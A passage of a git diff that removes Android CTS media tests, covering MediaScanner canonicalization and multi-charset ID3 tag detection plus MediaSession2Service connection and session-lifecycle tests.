-        res.delete(file1Uri, null, null);
-        res.delete(file2Uri, null, null);
-        res.delete(MediaStore.Files.getContentUri("external", parent1id), null, null);
-        res.delete(MediaStore.Files.getContentUri("external", parent2id), null, null);
-
-        mMediaScannerConnection.disconnect();
-
-        checkConnectionState(false);
-    }
-
-    public void testCanonicalize() throws Exception {
-        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
-        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
-                                    mMediaScannerConnectionClient);
-
-        assertFalse(mMediaScannerConnection.isConnected());
-
-        // start connection and wait until connected
-        mMediaScannerConnection.connect();
-        checkConnectionState(true);
-
-        // test unlocalizable file
-        // testcanonicalize_mp3 has an ID3 title that is unique to this test.
-        // Do not use this clip for any other test and do not copy this to sdcard
-        // while running the test
-        canonicalizeTest(R.raw.testcanonicalize_mp3);
-
-        mMediaScannerConnectionClient.reset();
-
-        // test localizable file
-        // testcanonicalize_localizable_mp3 has an ID3 title that is unique to this test.
-        // Do not use this clip for any other test and do not copy this to sdcard
-        // while running the test
-        canonicalizeTest(R.raw.testcanonicalize_localizable_mp3);
-    }
-
-    private void canonicalizeTest(int resId) throws Exception {
-        // write file and scan to insert into database
-        String fileDir = mFileDir + "/canonicaltest-" + System.currentTimeMillis();
-        String fileName = fileDir + "/test.mp3";
-        writeFile(resId, fileName);
-        mMediaScannerConnection.scanFile(fileName, MEDIA_TYPE);
-        checkMediaScannerConnection();
-
-        // check path and uri
-        Uri uri = mMediaScannerConnectionClient.mediaUri;
-        String path = mMediaScannerConnectionClient.mediaPath;
-        assertEquals(fileName, path);
-        assertNotNull(uri);
-
-        // check canonicalization
-        ContentResolver res = mContext.getContentResolver();
-        Uri canonicalUri = res.canonicalize(uri);
-        assertNotNull(canonicalUri);
-        assertFalse(uri.equals(canonicalUri));
-        Uri uncanonicalizedUri = res.uncanonicalize(canonicalUri);
-        assertEquals(uri, uncanonicalizedUri);
-
-        // remove the entry from the database
-        assertEquals(1, res.delete(uri, null, null));
-
-        // write same file again and scan to insert into database
-        mMediaScannerConnectionClient.reset();
-        String fileName2 = fileDir + "/test2.mp3";
-        writeFile(resId, fileName2);
-        mMediaScannerConnection.scanFile(fileName2, MEDIA_TYPE);
-        checkMediaScannerConnection();
-
-        // check path and uri
-        Uri uri2 = mMediaScannerConnectionClient.mediaUri;
-        String path2 = mMediaScannerConnectionClient.mediaPath;
-        assertEquals(fileName2, path2);
-        assertNotNull(uri2);
-
-        // this should be a different entry in the database and not re-use the same database id
-        assertFalse(uri.equals(uri2));
-
-        Uri canonicalUri2 = res.canonicalize(uri2);
-        assertNotNull(canonicalUri2);
-        assertFalse(uri2.equals(canonicalUri2));
-        Uri uncanonicalizedUri2 = res.uncanonicalize(canonicalUri2);
-        assertEquals(uri2, uncanonicalizedUri2);
-
-        // uncanonicalize the original canonicalized uri, it should resolve to the new uri
-        Uri uncanonicalizedUri3 = res.uncanonicalize(canonicalUri);
-        assertEquals(uri2, uncanonicalizedUri3);
-
-        assertEquals(1, res.delete(uri2, null, null));
-    }
-
-    static class MediaScanEntry {
-        MediaScanEntry(String r, String[] t) {
-            this.fileName = r;
-            this.tags = t;
-        }
-        final String fileName;
-        String[] tags;
-    }
-
-    MediaScanEntry encodingtestfiles[] = {
-            new MediaScanEntry("gb18030_1.mp3",
-                    new String[] {"罗志祥", "2009年11月新歌", "罗志祥", "爱不单行(TV Version)", null} ),
-            new MediaScanEntry("gb18030_2.mp3",
-                    new String[] {"张杰", "明天过后", null, "明天过后", null} ),
-            new MediaScanEntry("gb18030_3.mp3",
-                    new String[] {"电视原声带", "格斗天王(限量精装版)(预购版)", null, "11.Open Arms.( cn808.net )", null} ),
-            new MediaScanEntry("gb18030_4.mp3",
-                    new String[] {"莫扎特", "黄金古典", "柏林爱乐乐团", "第25号交响曲", "莫扎特"} ),
-            new MediaScanEntry("gb18030_6.mp3",
-                    new String[] {"张韶涵", "潘朵拉", "張韶涵", "隐形的翅膀", "王雅君"} ),
-            new MediaScanEntry("gb18030_7.mp3", // this is actually utf-8
-                    new String[] {"五月天", "后青春期的诗", null, "突然好想你", null} ),
-            new MediaScanEntry("gb18030_8.mp3",
-                    new String[] {"周杰伦", "Jay", null, "反方向的钟", null} ),
-            new MediaScanEntry("big5_1.mp3",
-                    new String[] {"蘇永康", "So I Sing 08 Live", "蘇永康", "囍帖街", null} ),
-            new MediaScanEntry("big5_2.mp3",
-                    new String[] {"蘇永康", "So I Sing 08 Live", "蘇永康", "從不喜歡孤單一個 - 蘇永康/吳雨霏", null} ),
-            new MediaScanEntry("cp1251_v1.mp3",
-                    new String[] {"Екатерина Железнова", "Корабль игрушек", null, "Раз, два, три", null} ),
-            new MediaScanEntry("cp1251_v1v2.mp3",
-                    new String[] {"Мельница", "Перевал", null, "Королевна", null} ),
-            new MediaScanEntry("cp1251_3.mp3",
-                    new String[] {"Тату (tATu)", "200 По Встречной [Limited edi", null, "Я Сошла С Ума", null} ),
-            // The following 3 use cp1251 encoding, expanded to 16 bits and stored as utf16 
-            new MediaScanEntry("cp1251_4.mp3",
-                    new String[] {"Александр Розенбаум", "Философия любви", null, "Разговор в гостинице (Как жить без веры)", "А.Розенбаум"} ),
-            new MediaScanEntry("cp1251_5.mp3",
-                    new String[] {"Александр Розенбаум", "Философия любви", null, "Четвертиночка", "А.Розенбаум"} ),
-            new MediaScanEntry("cp1251_6.mp3",
-                    new String[] {"Александр Розенбаум", "Философия ремесла", null, "Ну, вот...", "А.Розенбаум"} ),
-            new MediaScanEntry("cp1251_7.mp3",
-                    new String[] {"Вопли Видоплясова", "Хвилі Амура", null, "Або або", null} ),
-            new MediaScanEntry("cp1251_8.mp3",
-                    new String[] {"Вопли Видоплясова", "Хвилі Амура", null, "Таємнi сфери", null} ),
-            new MediaScanEntry("shiftjis1.mp3",
-                    new String[] {"", "", null, "中島敦「山月記」(第1回)", null} ),
-            new MediaScanEntry("shiftjis2.mp3",
-                    new String[] {"音人", "SoundEffects", null, "ファンファーレ", null} ),
-            new MediaScanEntry("shiftjis3.mp3",
-                    new String[] {"音人", "SoundEffects", null, "シンキングタイム", null} ),
-            new MediaScanEntry("shiftjis4.mp3",
-                    new String[] {"音人", "SoundEffects", null, "出題", null} ),
-            new MediaScanEntry("shiftjis5.mp3",
-                    new String[] {"音人", "SoundEffects", null, "時報", null} ),
-            new MediaScanEntry("shiftjis6.mp3",
-                    new String[] {"音人", "SoundEffects", null, "正解", null} ),
-            new MediaScanEntry("shiftjis7.mp3",
-                    new String[] {"音人", "SoundEffects", null, "残念", null} ),
-            new MediaScanEntry("shiftjis8.mp3",
-                    new String[] {"音人", "SoundEffects", null, "間違い", null} ),
-            new MediaScanEntry("iso88591_1.ogg",
-                    new String[] {"Mozart", "Best of Mozart", null, "Overtüre (Die Hochzeit des Figaro)", null} ),
-            new MediaScanEntry("iso88591_2.mp3", // actually UTF16, but only uses iso8859-1 chars
-                    new String[] {"Björk", "Telegram", "Björk", "Possibly Maybe (Lucy Mix)", null} ),
-            new MediaScanEntry("hebrew.mp3",
-                    new String[] {"אריק סיני", "", null, "לי ולך", null } ),
-            new MediaScanEntry("hebrew2.mp3",
-                    new String[] {"הפרוייקט של עידן רייכל", "Untitled - 11-11-02 (9)", null, "בואי", null } ),
-            new MediaScanEntry("iso88591_3.mp3",
-                    new String[] {"Mobilé", "Kartographie", null, "Zu Wenig", null }),
-            new MediaScanEntry("iso88591_4.mp3",
-                    new String[] {"Mobilé", "Kartographie", null, "Rotebeetesalat (Igel Stehlen)", null }),
-            new MediaScanEntry("iso88591_5.mp3",
-                    new String[] {"The Creatures", "Hai! [UK Bonus DVD] Disc 1", "The Creatures", "Imagoró", null }),
-            new MediaScanEntry("iso88591_6.mp3",
-                    new String[] {"¡Forward, Russia!", "Give Me a Wall", "Forward Russia", "Fifteen, Pt. 1", "Canning/Nicholls/Sarah Nicolls/Woodhead"}),
-            new MediaScanEntry("iso88591_7.mp3",
-                    new String[] {"Björk", "Homogenic", "Björk", "Jòga", "Björk/Sjòn"}),
-            // this one has a genre of "Indé" which confused the detector
-            new MediaScanEntry("iso88591_8.mp3",
-                    new String[] {"The Black Heart Procession", "3", null, "A Heart Like Mine", null}),
-            new MediaScanEntry("iso88591_9.mp3",
-                    new String[] {"DJ Tiësto", "Just Be", "DJ Tiësto", "Adagio For Strings", "Samuel Barber"}),
-            new MediaScanEntry("iso88591_10.mp3",
-                    new String[] {"Ratatat", "LP3", null, "Bruleé", null}),
-            new MediaScanEntry("iso88591_11.mp3",
-                    new String[] {"Sempé", "Le Petit Nicolas vol. 1", null, "Les Cow-Boys", null}),
-            new MediaScanEntry("iso88591_12.mp3",
-                    new String[] {"UUVVWWZ", "UUVVWWZ", null, "Neolaño", null}),
-            new MediaScanEntry("iso88591_13.mp3",
-                    new String[] {"Michael Bublé", "Crazy Love", "Michael Bublé", "Haven't Met You Yet", null}),
-            new MediaScanEntry("utf16_1.mp3",
-                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null}),
-            // Tags are encoded in different charsets.
-            new MediaScanEntry("iso88591_utf8_mixed_1.mp3",
-                    new String[] {"刘昊霖/kidult.", "鱼干铺里", "刘昊霖/kidult.", "Colin Wine's Mailbox", null}),
-            new MediaScanEntry("iso88591_utf8_mixed_2.mp3",
-                    new String[] {"冰块先生/郭美孜", "hey jude", "冰块先生/郭美孜", "Hey Jude", null}),
-            new MediaScanEntry("iso88591_utf8_mixed_3.mp3",
-                    new String[] {"Toy王奕/Tizzy T/满舒克", "1993", "Toy王奕/Tizzy T/满舒克", "Me&Ma Bros", null}),
-            new MediaScanEntry("gb18030_utf8_mixed_1.mp3",
-                    new String[] {"张国荣", "钟情张国荣", null, "左右手", null}),
-            new MediaScanEntry("gb18030_utf8_mixed_2.mp3",
-                    new String[] {"纵贯线", "Live in Taipei 出发\\/终点站", null, "皇后大道东(Live)", null}),
-            new MediaScanEntry("gb18030_utf8_mixed_3.mp3",
-                    new String[] {"谭咏麟", "二十年白金畅销金曲全记录", null, "知心当玩偶", null})
-    };
-
-    public void testEncodingDetection() throws Exception {
-        for (int i = 0; i< encodingtestfiles.length; i++) {
-            MediaScanEntry entry = encodingtestfiles[i];
-            String path =  mFileDir + "/" + entry.fileName;
-            writeFile(entry.fileName, path);
-        }
-
-        startMediaScanAndWait();
-
-        String columns[] = {
-                MediaStore.Audio.Media.ARTIST,
-                MediaStore.Audio.Media.ALBUM,
-                MediaStore.Audio.Media.ALBUM_ARTIST,
-                MediaStore.Audio.Media.TITLE,
-                MediaStore.Audio.Media.COMPOSER
-        };
-        ContentResolver res = mContext.getContentResolver();
-        for (int i = 0; i< encodingtestfiles.length; i++) {
-            MediaScanEntry entry = encodingtestfiles[i];
-            String path =  mFileDir + "/" + entry.fileName;
-            Cursor c = res.query(MediaStore.Audio.Media.getContentUri("external"), columns,
-                    MediaStore.Audio.Media.DATA + "=?", new String[] {path}, null);
-            assertNotNull("null cursor", c);
-            assertEquals("wrong number or results", 1, c.getCount());
-            assertTrue("failed to move cursor", c.moveToFirst());
-
-            for (int j =0; j < 5; j++) {
-                String expected = entry.tags[j];
-                if ("".equals(expected)) {
-                    // empty entry in the table means an unset id3 tag that is filled in by
-                    // the media scanner, e.g. by using "<unknown>". Since this may be localized,
-                    // don't check it for any particular value.
-                    assertNotNull("unexpected null entry " + i + " field " + j + "(" + path + ")",
-                            c.getString(j));
-                } else {
-                    assertEquals("mismatch on entry " + i + " field " + j + "(" + path + ")",
-                            expected, c.getString(j));
-                }
-            }
-            // clean up
-            new File(path).delete();
-            res.delete(MediaStore.Audio.Media.getContentUri("external"),
-                    MediaStore.Audio.Media.DATA + "=?", new String[] {path});
-
-            c.close();
-
-            // also test with the MediaMetadataRetriever API
-            MediaMetadataRetriever woodly = new MediaMetadataRetriever();
-            AssetFileDescriptor afd = getAssetFileDescriptorFor(entry.fileName);
-            woodly.setDataSource(afd.getFileDescriptor(),
-                    afd.getStartOffset(), afd.getDeclaredLength());
-
-            String[] actual = new String[5];
-            actual[0] = woodly.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ARTIST);
-            actual[1] = woodly.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM);
-            actual[2] = woodly.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST);
-            actual[3] = woodly.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE);
-            actual[4] = woodly.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER);
-
-            for (int j = 0; j < 5; j++) {
-                if ("".equals(entry.tags[j])) {
-                    // retriever doesn't insert "unknown artist" and such, it just returns null
-                    assertNull("retriever: unexpected non-null for entry " + i + " field " + j,
-                            actual[j]);
-                } else {
-                    Log.i("@@@", "tags: @@" + entry.tags[j] + "@@" + actual[j] + "@@");
-                    assertEquals("retriever: mismatch on entry " + i + " field " + j,
-                            entry.tags[j], actual[j]);
-                }
-            }
-        }
-    }
-
-    private static void scanVolume() {
-        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
-            MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
-                    MediaStore.VOLUME_EXTERNAL_PRIMARY);
-        } else {
-            // on Q, scanVolume(Context, String path) should be used
-            try {
-                Method scanVolumeMethod = MediaStore.class
-                    .getMethod("scanVolume", Context.class, File.class);
-                scanVolumeMethod.invoke(null,
-                        InstrumentationRegistry.getTargetContext(),
-                        Environment.getExternalStorageDirectory());
-            } catch (Exception ex) {
-                fail("could not find scanVolume method" + ex);
-            }
-        }
-    }
-
-    public static void startMediaScan() {
-        new Thread(() -> { scanVolume(); }).start();
-    }
-
-    public static void startMediaScanAndWait() {
-        scanVolume();
-    }
-
-    private void checkMediaScannerConnection() {
-        new PollingCheck(TIME_OUT) {
-            protected boolean check() {
-                return mMediaScannerConnectionClient.isOnMediaScannerConnectedCalled;
-            }
-        }.run();
-        new PollingCheck(TIME_OUT) {
-            protected boolean check() {
-                return mMediaScannerConnectionClient.mediaPath != null;
-            }
-        }.run();
-    }
-
-    private void checkConnectionState(final boolean expected) {
-        new PollingCheck(TIME_OUT) {
-            protected boolean check() {
-                return mMediaScannerConnection.isConnected() == expected;
-            }
-        }.run();
-    }
-
-    class MockMediaScannerConnection extends MediaScannerConnection {
-
-        public boolean mIsOnServiceConnectedCalled;
-        public boolean mIsOnServiceDisconnectedCalled;
-        public MockMediaScannerConnection(Context context, MediaScannerConnectionClient client) {
-            super(context, client);
-        }
-
-        @Override
-        public void onServiceConnected(ComponentName className, IBinder service) {
-            super.onServiceConnected(className, service);
-            mIsOnServiceConnectedCalled = true;
-        }
-
-        @Override
-        public void onServiceDisconnected(ComponentName className) {
-            super.onServiceDisconnected(className);
-            mIsOnServiceDisconnectedCalled = true;
-            // this is not called.
-        }
-    }
-
-    class MockMediaScannerConnectionClient implements MediaScannerConnectionClient {
-
-        public boolean isOnMediaScannerConnectedCalled;
-        public String mediaPath;
-        public Uri mediaUri;
-        public void onMediaScannerConnected() {
-            isOnMediaScannerConnectedCalled = true;
-        }
-
-        public void onScanCompleted(String path, Uri uri) {
-            Log.v("MediaScannerTest", "onScanCompleted for " + path + " to " + uri);
-            mediaPath = path;
-            if (uri != null) {
-                mediaUri = uri;
-            }
-        }
-
-        public void reset() {
-            mediaPath = null;
-            mediaUri = null;
-        }
-    }
-
-    static File getRawFile(Uri uri) throws Exception {
-        final String res = executeShellCommand(
-                "content query --uri " + uri
-                        + " --user " + getCurrentUser() + " --projection _data",
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-        final int i = res.indexOf("_data=");
-        if (i >= 0) {
-            return new File(res.substring(i + 6));
-        } else {
-            throw new FileNotFoundException("Failed to find _data for " + uri + "; found " + res);
-        }
-    }
-
-    static String executeShellCommand(String command) throws IOException {
-        return executeShellCommand(command,
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-    }
-
-    static String executeShellCommand(String command, UiAutomation uiAutomation)
-            throws IOException {
-        ParcelFileDescriptor pfd = uiAutomation.executeShellCommand(command.toString());
-        BufferedReader br = null;
-        try (InputStream in = new FileInputStream(pfd.getFileDescriptor());) {
-            br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
-            String str = null;
-            StringBuilder out = new StringBuilder();
-            while ((str = br.readLine()) != null) {
-                out.append(str);
-            }
-            return out.toString();
-        } finally {
-            if (br != null) {
-                br.close();
-            }
-        }
-    }
-
-    private static int getCurrentUser() {
-        return android.os.Process.myUserHandle().getIdentifier();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2ServiceTest.java b/tests/tests/media/src/android/media/cts/MediaSession2ServiceTest.java
deleted file mode 100644
index 579d0a2..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSession2ServiceTest.java
+++ /dev/null
@@ -1,444 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.testng.Assert.assertNull;
-
-import android.app.Notification;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.media.MediaController2;
-import android.media.MediaSession2;
-import android.media.MediaSession2.ControllerInfo;
-import android.media.MediaSession2Service;
-import android.media.Session2CommandGroup;
-import android.media.Session2Token;
-import android.os.Bundle;
-import android.os.HandlerThread;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests {@link MediaSession2Service}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-public class MediaSession2ServiceTest {
-    private static final long TIMEOUT_MS = 3000L;
-    private static final long WAIT_TIME_FOR_NO_RESPONSE_MS = 500L;
-
-    private static HandlerExecutor sHandlerExecutor;
-    private final List<MediaController2> mControllers = new ArrayList<>();
-    private Context mContext;
-    private Session2Token mToken;
-
-    @BeforeClass
-    public static void setUpThread() {
-        synchronized (MediaSession2ServiceTest.class) {
-            if (sHandlerExecutor != null) {
-                return;
-            }
-            HandlerThread handlerThread = new HandlerThread("MediaSession2ServiceTest");
-            handlerThread.start();
-            sHandlerExecutor = new HandlerExecutor(handlerThread.getLooper());
-            StubMediaSession2Service.setHandlerExecutor(sHandlerExecutor);
-        }
-    }
-
-    @AfterClass
-    public static void cleanUpThread() {
-        synchronized (MediaSession2Test.class) {
-            if (sHandlerExecutor == null) {
-                return;
-            }
-            StubMediaSession2Service.setHandlerExecutor(null);
-            sHandlerExecutor.getLooper().quitSafely();
-            sHandlerExecutor = null;
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getContext();
-        mToken = new Session2Token(mContext,
-                new ComponentName(mContext, StubMediaSession2Service.class));
-    }
-
-    @After
-    public void cleanUp() throws Exception {
-        for (MediaController2 controller : mControllers) {
-            controller.close();
-        }
-        mControllers.clear();
-
-        StubMediaSession2Service.setTestInjector(null);
-    }
-
-    /**
-     * Tests whether {@link MediaSession2Service#onGetSession(ControllerInfo)}
-     * is called when controller tries to connect, with the proper arguments.
-     */
-    @Test
-    public void testOnGetSessionIsCalled() throws InterruptedException {
-        final List<ControllerInfo> controllerInfoList = new ArrayList<>();
-        final CountDownLatch latch = new CountDownLatch(1);
-        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
-            @Override
-            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-                controllerInfoList.add(controllerInfo);
-                latch.countDown();
-                return null;
-            }
-        });
-        Bundle testHints = new Bundle();
-        testHints.putString("test_key", "test_value");
-        MediaController2 controller = new MediaController2.Builder(mContext, mToken)
-                .setConnectionHints(testHints)
-                .setControllerCallback(sHandlerExecutor,
-                        new MediaController2.ControllerCallback() {})
-                .build();
-        mControllers.add(controller);
-
-        // onGetSession() should be called.
-        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(controllerInfoList.get(0).getPackageName(), mContext.getPackageName());
-        assertTrue(TestUtils.equals(controllerInfoList.get(0).getConnectionHints(), testHints));
-    }
-
-    /**
-     * Tests whether the controller is connected to the session which is returned from
-     * {@link MediaSession2Service#onGetSession(ControllerInfo)}.
-     * Also checks whether the connection hints are properly passed to
-     * {@link MediaSession2.SessionCallback#onConnect(MediaSession2, ControllerInfo)}.
-     */
-    @Test
-    public void testOnGetSession_returnsSession() throws InterruptedException {
-        final List<ControllerInfo> controllerInfoList = new ArrayList<>();
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        try (MediaSession2 testSession = new MediaSession2.Builder(mContext)
-                .setId("testOnGetSession_returnsSession")
-                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
-                    @Override
-                    public Session2CommandGroup onConnect(MediaSession2 session,
-                            ControllerInfo controller) {
-                        if (controller.getUid() == Process.myUid()) {
-                            controllerInfoList.add(controller);
-                            latch.countDown();
-                            return new Session2CommandGroup.Builder().build();
-                        }
-                        return null;
-                    }
-                }).build()) {
-
-            StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
-                @Override
-                MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-                    // Add fake call for preventing this from being missed by CTS coverage.
-                    super.onGetSession(controllerInfo);
-                    return testSession;
-                }
-            });
-
-            Bundle testHints = new Bundle();
-            testHints.putString("test_key", "test_value");
-            MediaController2 controller = new MediaController2.Builder(mContext, mToken)
-                    .setConnectionHints(testHints)
-                    .setControllerCallback(sHandlerExecutor,
-                            new MediaController2.ControllerCallback() {})
-                    .build();
-            mControllers.add(controller);
-
-            // MediaSession2.SessionCallback#onConnect() should be called.
-            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertEquals(controllerInfoList.get(0).getPackageName(), mContext.getPackageName());
-            assertTrue(TestUtils.equals(controllerInfoList.get(0).getConnectionHints(), testHints));
-
-            // The controller should be connected to the right session.
-            assertNotEquals(mToken, controller.getConnectedToken());
-            assertEquals(testSession.getToken(), controller.getConnectedToken());
-        }
-    }
-
-    /**
-     * Tests whether {@link MediaSession2Service#onGetSession(ControllerInfo)}
-     * can return different sessions for different controllers.
-     */
-    @Test
-    public void testOnGetSession_returnsDifferentSessions() throws InterruptedException {
-        final List<Session2Token> tokens = new ArrayList<>();
-        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
-            @Override
-            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-                MediaSession2 session = createMediaSession2(
-                        "testOnGetSession_returnsDifferentSessions" + System.currentTimeMillis());
-                tokens.add(session.getToken());
-                return session;
-            }
-        });
-
-        MediaController2 controller1 = createConnectedController(mToken);
-        MediaController2 controller2 = createConnectedController(mToken);
-
-        assertNotEquals(mToken, controller1.getConnectedToken());
-        assertNotEquals(mToken, controller2.getConnectedToken());
-
-        assertNotEquals(controller1.getConnectedToken(),
-                controller2.getConnectedToken());
-        assertEquals(2, tokens.size());
-        assertEquals(tokens.get(0), controller1.getConnectedToken());
-        assertEquals(tokens.get(1), controller2.getConnectedToken());
-    }
-
-    /**
-     * Tests whether {@link MediaSession2Service#onGetSession(ControllerInfo)}
-     * can reject incoming connection by returning null.
-     */
-    @Test
-    public void testOnGetSession_rejectsConnection() throws InterruptedException {
-        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
-            @Override
-            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-                return null;
-            }
-        });
-        final CountDownLatch latch = new CountDownLatch(1);
-        MediaController2 controller = new MediaController2.Builder(mContext, mToken)
-                .setControllerCallback(sHandlerExecutor, new MediaController2.ControllerCallback() {
-                    @Override
-                    public void onDisconnected(MediaController2 controller) {
-                        latch.countDown();
-                    }
-                })
-                .build();
-
-        // MediaController2.ControllerCallback#onDisconnected() should be called.
-        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        assertNull(controller.getConnectedToken());
-    }
-
-    @Test
-    public void testAllControllersDisconnected_oneSession() throws InterruptedException {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final MediaSession2 testSession =
-                createMediaSession2("testAllControllersDisconnected_oneSession");
-
-        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
-            @Override
-            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-                return testSession;
-            }
-
-            @Override
-            void onServiceDestroyed() {
-                latch.countDown();
-            }
-        });
-        MediaController2 controller1 = createConnectedController(mToken);
-        MediaController2 controller2 = createConnectedController(mToken);
-
-        controller1.close();
-        assertFalse(latch.await(WAIT_TIME_FOR_NO_RESPONSE_MS, TimeUnit.MILLISECONDS));
-
-        // Service should be closed only when all controllers are closed.
-        controller2.close();
-        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-
-    @Test
-    public void testAllControllersDisconnected_multipleSessions() throws InterruptedException {
-        final CountDownLatch latch = new CountDownLatch(1);
-        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
-            @Override
-            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-                return createMediaSession2("testAllControllersDisconnected_multipleSession"
-                        + System.currentTimeMillis());
-            }
-
-            @Override
-            void onServiceDestroyed() {
-                latch.countDown();
-            }
-        });
-
-        MediaController2 controller1 = createConnectedController(mToken);
-        MediaController2 controller2 = createConnectedController(mToken);
-
-        controller1.close();
-        assertFalse(latch.await(WAIT_TIME_FOR_NO_RESPONSE_MS, TimeUnit.MILLISECONDS));
-
-        // Service should be closed only when all controllers are closed.
-        controller2.close();
-        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-
-    @Test
-    public void testGetSessions() throws InterruptedException {
-        MediaController2 controller = createConnectedController(mToken);
-        MediaSession2Service service = StubMediaSession2Service.getInstance();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setId("testGetSessions")
-                .setSessionCallback(sHandlerExecutor, new SessionCallback())
-                .build()) {
-            service.addSession(session);
-            List<MediaSession2> sessions = service.getSessions();
-            assertTrue(sessions.contains(session));
-            assertEquals(2, sessions.size());
-
-            service.removeSession(session);
-            sessions = service.getSessions();
-            assertFalse(sessions.contains(session));
-        }
-    }
-
-    @Test
-    public void testAddSessions_removedWhenClose() throws InterruptedException {
-        MediaController2 controller = createConnectedController(mToken);
-        MediaSession2Service service = StubMediaSession2Service.getInstance();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setId("testAddSessions_removedWhenClose")
-                .setSessionCallback(sHandlerExecutor, new SessionCallback())
-                .build()) {
-            service.addSession(session);
-            List<MediaSession2> sessions = service.getSessions();
-            assertTrue(sessions.contains(session));
-            assertEquals(2, sessions.size());
-
-            session.close();
-            sessions = service.getSessions();
-            assertFalse(sessions.contains(session));
-        }
-    }
-
-    @Test
-    public void testOnUpdateNotification() throws InterruptedException {
-        MediaController2 controller = createConnectedController(mToken);
-        MediaSession2Service service = StubMediaSession2Service.getInstance();
-        MediaSession2 testSession = service.getSessions().get(0);
-        CountDownLatch latch = new CountDownLatch(2);
-
-        StubMediaSession2Service.setTestInjector(
-                new StubMediaSession2Service.TestInjector() {
-                    @Override
-                    MediaSession2Service.MediaNotification onUpdateNotification(
-                            MediaSession2 session) {
-                        assertEquals(testSession, session);
-                        switch ((int) latch.getCount()) {
-                            case 2:
-
-                                break;
-                            case 1:
-                        }
-                        latch.countDown();
-                        return super.onUpdateNotification(session);
-                    }
-                });
-
-        testSession.setPlaybackActive(true);
-        testSession.setPlaybackActive(false);
-        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-        // Add fake call for preventing this from being missed by CTS coverage.
-        if (StubMediaSession2Service.getInstance() != null) {
-            ((MediaSession2Service) StubMediaSession2Service.getInstance())
-                    .onUpdateNotification(null);
-        }
-    }
-
-    @Test
-    public void testOnBind() throws Exception {
-        MediaController2 controller1 = createConnectedController(mToken);
-        MediaSession2Service service = StubMediaSession2Service.getInstance();
-
-        Intent serviceIntent = new Intent(MediaSession2Service.SERVICE_INTERFACE);
-        assertNotNull(service.onBind(serviceIntent));
-
-        Intent wrongIntent = new Intent("wrongIntent");
-        assertNull(service.onBind(wrongIntent));
-    }
-
-    @Test
-    public void testMediaNotification() {
-        final int testId = 1001;
-        final String testChannelId = "channelId";
-        final Notification testNotification =
-                new Notification.Builder(mContext, testChannelId).build();
-
-        MediaSession2Service.MediaNotification notification =
-                new MediaSession2Service.MediaNotification(testId, testNotification);
-        assertEquals(testId, notification.getNotificationId());
-        assertSame(testNotification, notification.getNotification());
-    }
-
-    private MediaController2 createConnectedController(Session2Token token)
-            throws InterruptedException {
-        CountDownLatch latch = new CountDownLatch(1);
-        MediaController2 controller = new MediaController2.Builder(mContext, token)
-                .setControllerCallback(sHandlerExecutor, new MediaController2.ControllerCallback() {
-                    @Override
